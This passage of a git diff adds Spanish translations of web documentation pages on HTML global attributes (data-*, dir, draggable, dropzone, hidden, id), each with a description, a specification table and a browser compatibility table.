+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatGeckoDesktop(9) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatGeckoDesktop(20) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li> <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a></li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/data-_star_/index.html b/files/es/web/html/atributos_globales/data-_star_/index.html
new file mode 100644
index 0000000000..436b156299
--- /dev/null
+++ b/files/es/web/html/atributos_globales/data-_star_/index.html
@@ -0,0 +1,108 @@
+---
+title: data-*
+slug: Web/HTML/Atributos_Globales/data-*
+translation_of: Web/HTML/Global_attributes/data-*
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}</p>
+
+<p>Los <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a> <strong>data-* </strong>forman una clase de atributos , llamados atributos de datos modificables , permite a la información propietaria ser intercambiada entre el <a href="/es/docs/Web/HTML">HTML</a> y su representación en el <a href="/es/docs/Referencia_DOM_de_Gecko">DOM</a> que puede ser usada por scripts . Todos esos datos modificables están disponibles a través de la interface del elemento {{domxref("HTMLElement")}} , el atributo se establece encendido . La propiedad  {{domxref("HTMLElement.dataset")}} otorga acceso a ellos . </p>
+
+<p>El * puede ser remplazado por cualquier nombre siguiedo las<a href="http://www.w3.org/TR/REC-xml/#NT-Name"> reglas de producción de nombres xml</a> con las siguientes restricciones :</p>
+
+<ul>
+ <li>el nombre no debe de empezar con <code>xml</code> , cualquiera sea el caso usado para estas letras.</li>
+ <li>el nombre no debe de contener algún punto y coma (<code>U+003A</code>) .</li>
+ <li>el nombre no debe de contener letras mayúsculas de la A a la Z .</li>
+</ul>
+
+<p>Notar que la propiedad {{domxref("HTMLElement.dataset")}} es un {{domxref("StringMap")}} y que el nombre del atributo de datos modificable<em>data-test-value </em>será accesible a través de <code>HTMLElement.dataset.testValue </code>como cualquier guión  (<code>U+002D</code>) es reemplazado por la versión en mayúscula de la siguiente letra (camelcase) . </p>
+
+
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table" style="line-height: 1.5;">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, sin cambio desde {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes", "data-*")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot de   {{SpecName('HTML WHATWG')}}, definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores </h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop(6) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(6) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"></h2>
+
+<h2 id="Ver_también">Ver también </h2>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a> .</li>
+ <li>La propiedad  {{domxref("HTMLElement.dataset")}} que permite el acceso y modifica estos valores .</li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/dir/index.html b/files/es/web/html/atributos_globales/dir/index.html
new file mode 100644
index 0000000000..4bcd43eb40
--- /dev/null
+++ b/files/es/web/html/atributos_globales/dir/index.html
@@ -0,0 +1,122 @@
+---
+title: dir
+slug: Web/HTML/Atributos_Globales/dir
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/dir
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}</p>
+
+<p>El <a href="/es/docs/Web/HTML/Atributos_Globales">atributo global </a>dir es un atributo enumerado que indica la direccionalidad del texto de los elementos . Puede tener los siguientes valores : </p>
+
+<ul>
+ <li><code>ltr ,</code> significa <em>izquierda</em> a <em>derecha</em> y es usado para los lenguajes que son escritos de izquierda a derecha ( como el Inglés ) .</li>
+ <li><code>rtl , </code>significa <em>derecha</em> a <em>izquierda</em> y es usado para los lenguajes que son escritos de la derecha a la izquierda (como el árabe ) .</li>
+ <li><code>auto , </code>permite al agente usuario decidir . Usa un algoritmo básico mientras parsea los caracteres dentro de un elemento hasta que encuentra un elemento con una direccionalidad fuerte , después aplica esa direccionalidad a todo el elemento .</li>
+</ul>
+
+<div class="note">
+<p><span style="font-size: 14px; line-height: 21px;"><strong>Notas de uso</strong></span></p>
+
+<p>Este atributo es obligatorio para el elemento  {{ HTMLElement("bdo") }} donde este tiene un significado semántico diferente.</p>
+
+<ul>
+ <li>Este atributo no es heredado por el elemento {{ HTMLElement("bdi") }} . Si no se establece , su valor es <code>auto</code> .</li>
+ <li>Este atributo puede ser anulado por las propiedades de CSS  {{ cssxref("direction") }} y {{ cssxref("unicode-bidi") }} , si una página CSS está activa y el elemento soporta estas propiedades.</li>
+ <li>Mientras la direccionalidad del texto esté semánticamente relacionada con su contenido y no con su presentación , se recomienda que los desarrolladores web usen este atributo en lugar de propiedades de CSS relacionadas ,  cuando sea posible . De esta forma , el texto se mostrará correctamente incluso en un explorador que no soporte CSS o que tenga CSS desactivado .</li>
+ <li>El valor <code>auto</code> debe de ser usada para datos con una direccionalidad desconocida , com datos procedentes de la entrada de usuario , eventualmente almacenados en una base de datos .</li>
+</ul>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de  {{SpecName('HTML WHATWG')}}, sin cambio desde  {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-dir-attribute", "dir")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, desde  {{SpecName('HTML4.01')}} añadió el valor auto y ahora es un verdadero atributo global .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', "dirlang.html#h-8.2", "dir")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Soportado en todos los elementos pero no en {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, y {{HTMLElement("script")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<h2 id="CompatibilityTable()"><span style="font-size: 14px; font-weight: normal; line-height: 1.5;">{{ CompatibilityTable() }}</span></h2>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes">atributos globales</a></li>
+ <li>{{domxref("HTMLElement.dir")}} que refleja este atributo .</li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/draggable/index.html b/files/es/web/html/atributos_globales/draggable/index.html
new file mode 100644
index 0000000000..2aee2d8443
--- /dev/null
+++ b/files/es/web/html/atributos_globales/draggable/index.html
@@ -0,0 +1,108 @@
+---
+title: draggable
+slug: Web/HTML/Atributos_Globales/draggable
+tags:
+  - Atributos globales
+  - Experimental
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/draggable
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}</p>
+
+<p>El <a href="/es/docs/Web/HTML/Atributos_Globales">atributo global </a>draggable es un atributo enumerado que indica si el elemento puede ser arrastrado , usando el {{domxref("HTML_Drag_and_Drop_API","HTML Drag and Drop API")}} . Puede tener los siguientes valores :</p>
+
+<ul>
+ <li><code>true</code> , indica que el elemento puede ser arrastrado.</li>
+ <li><code>false</code>, indica que el elemento no puede ser arrastrado .</li>
+</ul>
+
+<p>Si este atriuto no se establece , su valor por default es <code>auto</code> , significando que el comportamiento debe de ser el definido por default en el explorador .</p>
+
+<p>Este es un atributo <em>enumerado </em> y no uno <em>booleano</em> . Esto signigica que el uso explícito de uno de los valores <em>true </em>o <em>false </em>es obligatorio y que una declaración como <code>&lt;label draggable&gt;Example Label&lt;/label&gt; </code>no está permitida . El uso correcto es  <code>&lt;label draggable="true"&gt;Example Label&lt;/label&gt;</code>.</p>
+
+<p>Por default , unicamente el texto , las imagenes y los vínculos pueden ser arrastrados . Para todos los demás elementos el evento <strong>{{domxref('GlobalEventHandlers.ondragstart','ondragstart')}}</strong>  debe de ser establecido para el mecanismo de arrastrar y soltar para que funcione , como se muestra en este <a href="/en-US/docs/DragDrop/Drag_Operations" title="https://developer.mozilla.org/En/DragDrop/Drag_Operations">ejempl</a>o .</p>
+
+<p> </p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#the-draggable-attribute", "draggable")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-draggable-attribute", "draggable")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, definición inicial .</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<h2 id="CompatibilityTable()"><span style="font-size: 14px; font-weight: normal; line-height: 1.5;">{{ CompatibilityTable() }}</span></h2>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.8.1") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<p><span style="font-size: 30.002px; letter-spacing: -1px; line-height: 30.002px;"><strong>Ver también</strong></span></p>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales </a></li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/dropzone/index.html b/files/es/web/html/atributos_globales/dropzone/index.html
new file mode 100644
index 0000000000..27abb8f133
--- /dev/null
+++ b/files/es/web/html/atributos_globales/dropzone/index.html
@@ -0,0 +1,99 @@
+---
+title: dropzone
+slug: Web/HTML/Atributos_Globales/dropzone
+tags:
+  - Atributos globales
+  - Experimental
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/dropzone
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}{{SeeCompatTable}}</p>
+
+<p>El atributo global <strong>dropzone </strong>es un atributo enumerado que indica qué los tipos de contenido pueden ser soltados en un elemento , usando la <a href="/es/docs/DragDrop/Drag_and_Drop">API Drag and Drop</a> . Pueden tener los siguientes valores :</p>
+
+<ul>
+ <li>copy , indica que el soltado creará una copia del elemento que fue arrastrado .</li>
+ <li>move , indica que el elemento que fue arrastrado será movido a su nueva localización .</li>
+ <li>link, indica que creara un link para el dato arrastrado.</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#the-dropzone-attribute", "dropzone")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-dropzone-attribute", "dropzone")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de  {{SpecName('HTML WHATWG')}}, definición inicial .</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores </h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracterísitica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico </td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Cataracterística</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown}}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también </h2>
+
+<ul>
+ <li>Tos los atributos globales </li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/hidden/index.html b/files/es/web/html/atributos_globales/hidden/index.html
new file mode 100644
index 0000000000..bc29d88b5a
--- /dev/null
+++ b/files/es/web/html/atributos_globales/hidden/index.html
@@ -0,0 +1,107 @@
+---
+title: hidden
+slug: Web/HTML/Atributos_Globales/hidden
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/hidden
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}</p>
+
+<p>El <a href="/es/docs/Web/HTML/Atributos_Globales/">atributo global</a> <strong>hidden</strong> es un atributo Booleano que indica que el elemento todavía no está , o ya no es relevante . Por ejemplo , puede ser usado para ocultar elelementos de la página que no pueden ser usados hasta que el proceso de login se haya completado . El explorador no dibujará dichos elementos .</p>
+
+<p>Esta atributo no debe de usarse para ocultar contenido que pudera ser legítimamente mostrado . Por ejemplo , no debe de ser usado para ocultar paneles de pestañas o una interfaz con pestañas , ya que esta es una decisión de estilo y otro estilo mostrandolos lo llevaría a una página perfectamente mostrada .</p>
+
+<p>Los elementos ocultos no deben de ser vinculados desde elementos no ocultos y elementos que son descendientes de un elemento oculto todavía activo ;  lo que significa que los elementos del script pueden todavía ejecutarse y los elementos de formulario pueden todavía enviarse .</p>
+
+<div class="note">
+<p><strong>Nota:</strong>  Cambiando el valor de la propiedad CSS {{cssxref("display")}} de un elemento con el atributo <code>hidden</code>  sobrecarga el comportamiento . For ejemplo , un elemeneto diseñado <code>display : flex </code>será mostrado en la pantalla independientemente de que el atributo <code>hidden </code>esté presente .</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#the-hidden-attribute", "hidden")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambio desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "rendering.html#hiddenCSS", "Hidden elements")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>
+    <p>Define el dibujado por default sugerido del atributo hidden usando CSS</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-hidden-attribute", "hidden")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_exploradores">Compatibilidad en exploradores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>11</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>11</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también </h2>
+
+<ul>
+ <li><a href="/es/docs/Web/HTML/Atributos_Globales/">atributos globales</a></li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/id/index.html b/files/es/web/html/atributos_globales/id/index.html
new file mode 100644
index 0000000000..3dd947cf27
--- /dev/null
+++ b/files/es/web/html/atributos_globales/id/index.html
@@ -0,0 +1,113 @@
+---
+title: id
+slug: Web/HTML/Atributos_Globales/id
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+translation_of: Web/HTML/Global_attributes/id
+---
+<p class="note">{{HTMLSidebar("Global_attributes")}}</p>
+
+<p>El <a href="/en-US/docs/Web/HTML/Global_attributes">atributo global</a> <strong>id</strong> define un identificador único (ID) el cual no debe repetirse en todo el documento. Su propósito es identificar el elemento al vincularlo (usando un identificador de fragmento), en scripts u hojas de estilo (con CSS).</p>
+
+<p>El valor de este atributo es una cadena de caracteres opaca: es decir,  el autor del sitio no debe usarlo para proporcionar información. De forma particular, en sentido semántico por ejemplo, no debe ser derivado de la misma cadena.</p>
+
+<p>El valor de este atributo no debe contener espacios en blanco. Los navegadores tratan los IDs que contienen espacios en blanco como si los espacios fueran parte del ID. En contraste con el atributo <strong>class</strong>, el cual permite valores separados por espacios, los elementos pueden tener sólo un ID definido mediante el atributo ID. Tenga en cuenta que un elemento puede tener muchos ID, pero los demás deben ser definidos de otra forma, como por medio de un script interactuando con el DOM.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> El uso de caracteres a excepción de letras en ASCII, dígitos, '_', <code>'-'</code> y <code>'.'</code> pueden ocasionar problemas de compatibilidad, por no ser permitidos en HTML 4. A pesar de que esta limitación ha sido removida en HTML 5, un ID debe iniciar con una letra para asegurar la compatibilidad.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambios desde el último snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, sin cambios de {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-id-attribute", "id")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot de {{SpecName('HTML WHATWG')}}, ahora acepta <code>'_'</code>, <code>'-'</code> and <code>'.'</code> si no se encuentra al principio del id. También es un atributo global verdadero.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#adef-id', 'id')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Soportado en todos los elementos a excepción de {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, y {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}[1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}[1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <strong>class</strong> es un atributo global verdadero desde Firefox 32.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Todos los <a href="/en-US/docs/Web/HTML/Global_attributes">atributos globales</a>.</li>
+ <li>{{domxref("Element.id")}} que se asemeja a este atributo.</li>
+</ul>
diff --git a/files/es/web/html/atributos_globales/index.html b/files/es/web/html/atributos_globales/index.html
new file mode 100644
index 0000000000..86769245c6
--- /dev/null
+++ b/files/es/web/html/atributos_globales/index.html
@@ -0,0 +1,199 @@
+---
+title: Atributos globales
+slug: Web/HTML/Atributos_Globales
+tags:
+  - Atributos globales
+  - HTML
+  - Referencia
+  - Web
+translation_of: Web/HTML/Global_attributes
+---
+<div>{{HTMLSidebar("Atributos_globales")}}</div>
+
+<p class="summary"><span class="seoSummary">Los <strong>atributos globales</strong> son atributos comunes a todos los elementos HTML; se pueden usar en todos los elementos, aunque es posible que no tengan ningún efecto en algunos elementos.</span></p>
+
+<p>Los atributos globales se pueden especificar en todos los {{web.link("/es/docs/Web/HTML/Element", "elementos HTML")}}, <em>incluso aquellos no especificados en el estándar</em>. Eso significa que cualquier elemento no estándar debe permitir estos atributos, aunque el uso de esos elementos significa que el documento ya no es compatible con HTML5. Por ejemplo, los navegadores compatibles con HTML5 ocultan el contenido marcado como <code>&lt;foo hidden&gt;...&lt;/foo&gt;</code>, aunque <code>&lt;foo&gt;</code> no sea un elemento HTML válido.</p>
+
+<p>Además de los atributos globales HTML básicos, también existen los siguientes atributos globales:</p>
+
+<ul>
+ <li>{{HTMLAttrDef("xml:lang")}} y {{HTMLAttrDef("xml:base")}} — estos se heredan de las especificaciones XHTML y están en desuso, pero se mantienen por motivos de compatibilidad.</li>
+ <li>Los múltiples atributos <code><strong>{{web.link("/es/docs/Web/Accessibility/ARIA", "aria-*")}}</strong></code>, utilizados para mejorar la accesibilidad.</li>
